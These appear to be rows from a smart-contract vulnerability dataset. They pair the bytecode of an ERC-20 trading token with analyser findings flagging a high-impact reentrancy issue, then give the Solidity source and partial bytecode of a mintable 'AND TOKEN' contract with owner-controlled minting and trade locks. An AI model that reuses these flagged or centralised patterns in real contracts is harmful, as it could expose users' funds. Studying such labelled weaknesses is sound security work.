1669bc3ac3627d44cbe8300061143a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff757600080fd5b505afa15801561100b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102f91906128c6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561109157600080fd5b505afa1580156110a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c991906128c6565b6040518363ffffffff1660e01b81526004016110e6929190612d89565b602060405180830381600087803b15801561110057600080fd5b505af1158015611114573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113891906128c6565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111c130610a05565b6000806111cc610c62565b426040518863ffffffff1660e01b81526004016111ee96959493929190612ddb565b6060604051808303818588803b15801561120757600080fd5b505af115801561121b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906112409190612a72565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506901e1de1d251785e83000600f8190555069054b40b1f852bda000006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611355929190612db2565b602060405180830381600087803b15801561136f57600080fd5b505af1158015611383573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a79190612a20565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a190612fb9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561151a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151190612ed9565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115f89190612ff9565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611675576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166c90612f79565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116dc90612e79565b60405180910390fd5b60008111611728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171f90612f59565b60405180910390fd5b6000600a819055506008600b81905550611740610c62565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117ae575061177e610c62565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c8857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118575750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61186057600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561190b5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119615750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119795750600e60179054906101000a900460ff165b15611ab757600f548111156119c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ba90612e99565b60405180910390fd5b601054816119d084610a05565b6119da919061312f565b1115611a1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1290612f99565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6657600080fd5b601e42611a73919061312f565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b625750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bb85750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611bce576004600a819055506004600b819055505b6000611bd930610a05565b9050600e60159054906101000a900460ff16158015611c465750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c5e5750600e60169054906101000a900460ff165b15611c8657611c6c81611e9b565b60004790506000811115611c8457611c8347611dc1565b5b505b505b611c93838383612195565b505050565b6000838311158290611ce0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd79190612e57565b60405180910390fd5b5060008385611cef9190613210565b9050809150509392505050565b600080831415611d0f5760009050611d71565b60008284611d1d91906131b6565b9050828482611d2c9190613185565b14611d6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6390612f19565b60405180910390fd5b809150505b92915050565b6000611db983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121a5565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e29573d6000803e3d6000fd5b5050565b6000600854821115611e74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6b90612eb9565b60405180910390fd5b6000611e7e612208565b9050611e938184611d7790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ef9577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611f275781602001602082028036833780820191505090505b5090503081600081518110611f65577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561200757600080fd5b505afa15801561201b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061203f91906128c6565b81600181518110612079577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120e030600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461143a565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612144959493929190613014565b600060405180830381600087803b15801561215e57600080fd5b505af1158015612172573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6121a0838383612233565b505050565b600080831182906121ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e39190612e57565b60405180910390fd5b50600083856121fb9190613185565b9050809150509392505050565b60008060006122156123fe565b9150915061222c8183611d7790919063ffffffff16565b9250505090565b60008060008060008061224587612463565b9550955095509550955095506122a386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124cb90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061233885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061238481612573565b61238e8483612630565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123eb9190612ff9565b60405180910390a3505050505050505050565b60008060006008549050600069bc3ac3627d44cbe83000905061243669bc3ac3627d44cbe83000600854611d7790919063ffffffff16565b8210156124565760085469bc3ac3627d44cbe8300093509350505061245f565b81819350935050505b9091565b60008060008060008060008060006124808a600a54600b5461266a565b9250925092506000612490612208565b905060008060006124a38e878787612700565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c98565b905092915050565b6000808284612524919061312f565b905083811015612569576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256090612ef9565b60405180910390fd5b8091505092915050565b600061257d612208565b905060006125948284611cfc90919063ffffffff16565b90506125e881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612645826008546124cb90919063ffffffff16565b6008819055506126608160095461251590919063ffffffff16565b6009819055505050565b6000806000806126966064612688888a611cfc90919063ffffffff16565b611d7790919063ffffffff16565b905060006126c060646126b2888b611cfc90919063ffffffff16565b611d7790919063ffffffff16565b905060006126e9826126db858c6124cb90919063ffffffff16565b6124cb90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127198589611cfc90919063ffffffff16565b905060006127308689611cfc90919063ffffffff16565b905060006127478789611cfc90919063ffffffff16565b905060006127708261276285876124cb90919063ffffffff16565b6124cb90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279c612797846130ae565b613089565b905080838252602082019050828560208602820111156127bb57600080fd5b60005b858110156127eb57816127d188826127f5565b8452602084019350602083019250506001810190506127be565b5050509392505050565b600081359050612804816136ec565b92915050565b600081519050612819816136ec565b92915050565b600082601f83011261283057600080fd5b8135612840848260208601612789565b91505092915050565b60008135905061285881613703565b92915050565b60008151905061286d81613703565b92915050565b6000813590506128828161371a565b92915050565b6000815190506128978161371a565b92915050565b6000602082840312156128af57600080fd5b60006128bd848285016127f5565b91505092915050565b6000602082840312156128d857600080fd5b60006128e68482850161280a565b91505092915050565b6000806040838503121561290257600080fd5b6000612910858286016127f5565b9250506020612921858286016127f5565b9150509250929050565b60008060006060848603121561294057600080fd5b600061294e868287016127f5565b935050602061295f868287016127f5565b925050604061297086828701612873565b9150509250925092565b6000806040838503121561298d57600080fd5b600061299b858286016127f5565b92505060206129ac85828601612873565b9150509250929050565b6000602082840312156129c857600080fd5b600082013567ffffffffffffffff8111156129e257600080fd5b6129ee8482850161281f565b91505092915050565b600060208284031215612a0957600080fd5b6000612a1784828501612849565b91505092915050565b600060208284031215612a3257600080fd5b6000612a408482850161285e565b91505092915050565b600060208284031215612a5b57600080fd5b6000612a6984828501612873565b91505092915050565b600080600060608486031215612a8757600080fd5b6000612a9586828701612888565b9350506020612aa686828701612888565b9250506040612ab786828701612888565b9150509250925092565b6000612acd8383612ad9565b60208301905092915050565b612ae281613244565b82525050565b612af181613244565b82525050565b6000612b02826130ea565b612b0c818561310d565b9350612b17836130da565b8060005b83811015612b48578151612b2f8882612ac1565b9750612b3a83613100565b925050600181019050612b1b565b5085935050505092915050565b612b5e81613256565b82525050565b612b6d81613299565b82525050565b6000612b7e826130f5565b612b88818561311e565b9350612b988185602086016132ab565b612ba1816133e5565b840191505092915050565b6000612bb960238361311e565b9150612bc4826133f6565b604082019050919050565b6000612bdc60198361311e565b9150612be782613445565b602082019050919050565b6000612bff602a8361311e565b9150612c0a8261346e565b604082019050919050565b6000612c2260228361311e565b9150612c2d826134bd565b604082019050919050565b6000612c45601b8361311e565b9150612c508261350c565b602082019050919050565b6000612c6860218361311e565b9150612c7382613535565b604082019050919050565b6000612c8b60208361311e565b9150612c9682613584565b602082019050919050565b6000612cae60298361311e565b9150612cb9826135ad565b604082019050919050565b6000612cd160258361311e565b9150612cdc826135fc565b604082019050919050565b6000612cf4601a8361311e565b9150612cff8261364b565b602082019050919050565b6000612d1760248361311e565b9150612d2282613674565b604082019050919050565b6000612d3a60178361311e565b9150612d45826136c3565b602082019050919050565b612d5981613282565b82525050565b612d688161328c565b82525050565b6000602082019050612d836000830184612ae8565b92915050565b6000604082019050612d9e6000830185612ae8565b612dab6020830184612ae8565b9392505050565b6000604082019050612dc76000830185612ae8565b612dd46020830184612d50565b9392505050565b600060c082019050612df06000830189612ae8565b612dfd6020830188612d50565b612e0a6040830187612b64565b612e176060830186612b64565b612e246080830185612ae8565b612e3160a0830184612d50565b979650505050505050565b6000602082019050612e516000830184612b55565b92915050565b60006020820190508181036000830152612e718184612b73565b905092915050565b60006020820190508181036000830152612e9281612bac565b9050919050565b60006020820190508181036000830152612eb281612bcf565b9050919050565b60006020820190508181036000830152612ed281612bf2565b9050919050565b60006020820190508181036000830152612ef281612c15565b9050919050565b60006020820190508181036000830152612f1281612c38565b9050919050565b60006020820190508181036000830152612f3281612c5b565b9050919050565b60006020820190508181036000830152612f5281612c7e565b9050919050565b60006020820190508181036000830152612f7281612ca1565b9050919050565b60006020820190508181036000830152612f9281612cc4565b9050919050565b60006020820190508181036000830152612fb281612ce7565b9050919050565b60006020820190508181036000830152612fd281612d0a565b9050919050565b60006020820190508181036000830152612ff281612d2d565b9050919050565b600060208201905061300e6000830184612d50565b92915050565b600060a0820190506130296000830188612d50565b6130366020830187612b64565b81810360408301526130488186612af7565b90506130576060830185612ae8565b6130646080830184612d50565b9695505050505050565b60006020820190506130836000830184612d5f565b92915050565b60006130936130a4565b905061309f82826132de565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c9576130c86133b6565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313a82613282565b915061314583613282565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561317a57613179613358565b5b828201905092915050565b600061319082613282565b915061319b83613282565b9250826131ab576131aa613387565b5b828204905092915050565b60006131c182613282565b91506131cc83613282565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561320557613204613358565b5b828202905092915050565b600061321b82613282565b915061322683613282565b92508282101561323957613238613358565b5b828203905092915050565b600061324f82613262565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132a482613282565b9050919050565b60005b838110156132c95780820151818401526020810190506132ae565b838111156132d8576000848401525b50505050565b6132e7826133e5565b810181811067ffffffffffffffff82111715613306576133056133b6565b5b80604052505050565b600061331a82613282565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561334d5761334c613358565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6136f581613244565b811461370057600080fd5b50565b61370c81613256565b811461371757600080fd5b50565b61372381613282565b811461372e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122014fc925d80e5a79322ce4a81d50e2f233386120c59489a135cbf92296da8f57b64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,197 |
0xee4e77b6e782557653d00d1cbe9135d4cf117393 | pragma solidity 0.4.24;
/**
* Math operations with safety checks
* By OpenZeppelin: https://github.com/OpenZeppelin/zeppelin-solidity/contracts/SafeMath.sol
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ContractReceiver{
function tokenFallback(address _from, uint256 _value, bytes _data) external;
}
//Basic ERC23 token, backward compatible with ERC20 transfer function.
//Based in part on code by open-zeppelin: https://github.com/OpenZeppelin/zeppelin-solidity.git
contract ERC23BasicToken {
using SafeMath for uint256;
uint256 public totalSupply;
mapping(address => uint256) balances;
event Transfer(address indexed from, address indexed to, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value, bytes data);
function tokenFallback(address _from, uint256 _value, bytes _data) external {
throw;
}
function transfer(address _to, uint256 _value, bytes _data) returns (bool success) {
require(_to != address(0));
//Standard ERC23 transfer function
if(isContract(_to)) {
transferToContract(_to, _value, _data);
}
else {
transferToAddress(_to, _value, _data);
}
return true;
}
function transfer(address _to, uint256 _value) {
require(_to != address(0));
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
transferToContract(_to, _value, empty);
}
else {
transferToAddress(_to, _value, empty);
}
}
function transferToAddress(address _to, uint256 _value, bytes _data) internal {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
emit Transfer(msg.sender, _to, _value, _data);
}
function transferToContract(address _to, uint256 _value, bytes _data) internal {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub( _value);
balances[_to] = balances[_to].add( _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value);
emit Transfer(msg.sender, _to, _value, _data);
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) returns (bool is_contract) {
uint256 length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
if(length>0) {
return true;
}
else {
return false;
}
}
}
// Standard ERC23 token, backward compatible with ERC20 standards.
// Based on code by open-zeppelin: https://github.com/OpenZeppelin/zeppelin-solidity.git
contract ERC23StandardToken is ERC23BasicToken {
mapping (address => mapping (address => uint256)) allowed;
event Approval (address indexed owner, address indexed spender, uint256 value);
function transferFrom(address _from, address _to, uint256 _value) {
require (_value > 0);
require(_to != address(0));
require(_from != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
}
function approve(address _spender, uint256 _value) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require (_value > 0);
require(_spender != address(0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
address public admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
admin=owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner || msg.sender==admin);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newAdmin.
* @param newAdmin The address to transfer admin to.
*/
function transferAdmin(address newAdmin) onlyOwner public {
require(newAdmin != address(0));
emit OwnershipTransferred(admin, newAdmin);
admin = newAdmin;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is ERC23StandardToken,Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(_amount>0);
require(_to != address(0));
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(0x0, _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract ANDToken is MintableToken {
string public name="AND TOKEN";
string public symbol="AND";
uint8 public decimals=18;
uint256 public tradeStartTime;
function tradeStarttime(uint256 _startTime)public onlyOwner{
tradeStartTime=_startTime.add(1 years);
}
function hasTrade() public view returns (bool) {
// solium-disable-next-line security/no-block-members
return block.timestamp>tradeStartTime;
}
function transfer(address _to,uint256 _value) public{
require(hasTrade());
require(_to != address(0));
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
transferToContract(_to, _value, empty);
}
else {
transferToAddress(_to, _value, empty);
}
}
function transfer(address _to, uint256 _value, bytes _data)public returns (bool success) {
require(hasTrade());
//Standard ERC23 transfer function
require(_to != address(0));
if(isContract(_to)) {
transferToContract(_to, _value, _data);
}
else {
transferToAddress(_to, _value, _data);
}
return true;
}
function transferFrom(address _from, address _to, uint256 _value) {
require(hasTrade());
require (_value > 0);
require(_to != address(0));
require(_from != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
}
} | 0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461012d57806306fdde031461015c578063095ea7b3146101ec578063162790551461023957806318160ddd1461029457806323b872dd146102bf5780632c735ef81461032c578063313ce5671461035757806340c10f191461038857806370a08231146103ed57806375829def146104445780637d64bcb4146104875780638da5cb5b146104b657806395d89b411461050d578063a9059cbb1461059d578063be45fd62146105ea578063c0ee0b8a14610695578063dd62ed3e146106fa578063e02d1c0e14610771578063f0d1c8ce1461079e578063f2fde38b146107cd578063f851a44014610810575b600080fd5b34801561013957600080fd5b50610142610867565b604051808215151515815260200191505060405180910390f35b34801561016857600080fd5b5061017161087a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b1578082015181840152602081019050610196565b50505050905090810190601f1680156101de5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f857600080fd5b50610237600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610918565b005b34801561024557600080fd5b5061027a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a4d565b604051808215151515815260200191505060405180910390f35b3480156102a057600080fd5b506102a9610a71565b6040518082815260200191505060405180910390f35b3480156102cb57600080fd5b5061032a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a77565b005b34801561033857600080fd5b50610341610e8d565b6040518082815260200191505060405180910390f35b34801561036357600080fd5b5061036c610e93565b604051808260ff1660ff16815260200191505060405180910390f35b34801561039457600080fd5b506103d3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ea6565b604051808215151515815260200191505060405180910390f35b3480156103f957600080fd5b5061042e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061111b565b6040518082815260200191505060405180910390f35b34801561045057600080fd5b50610485600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611164565b005b34801561049357600080fd5b5061049c611314565b604051808215151515815260200191505060405180910390f35b3480156104c257600080fd5b506104cb611418565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561051957600080fd5b5061052261143e565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610562578082015181840152602081019050610547565b50505050905090810190601f16801561058f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105a957600080fd5b506105e8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114dc565b005b3480156105f657600080fd5b5061067b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061155c565b604051808215151515815260200191505060405180910390f35b3480156106a157600080fd5b506106f8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019082018035906020019190919293919293905050506115e2565b005b34801561070657600080fd5b5061075b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115e7565b6040518082815260200191505060405180910390f35b34801561077d57600080fd5b5061079c6004803603810190808035906020019092919050505061166e565b005b3480156107aa57600080fd5b506107b3611742565b604051808215151515815260200191505060405180910390f35b3480156107d957600080fd5b5061080e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061174e565b005b34801561081c57600080fd5b506108256118fe565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600460149054906101000a900460ff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109105780601f106108e557610100808354040283529160200191610910565b820191906000526020600020905b8154815290600101906020018083116108f357829003601f168201915b505050505081565b60008111151561092757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561096357600080fd5b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffff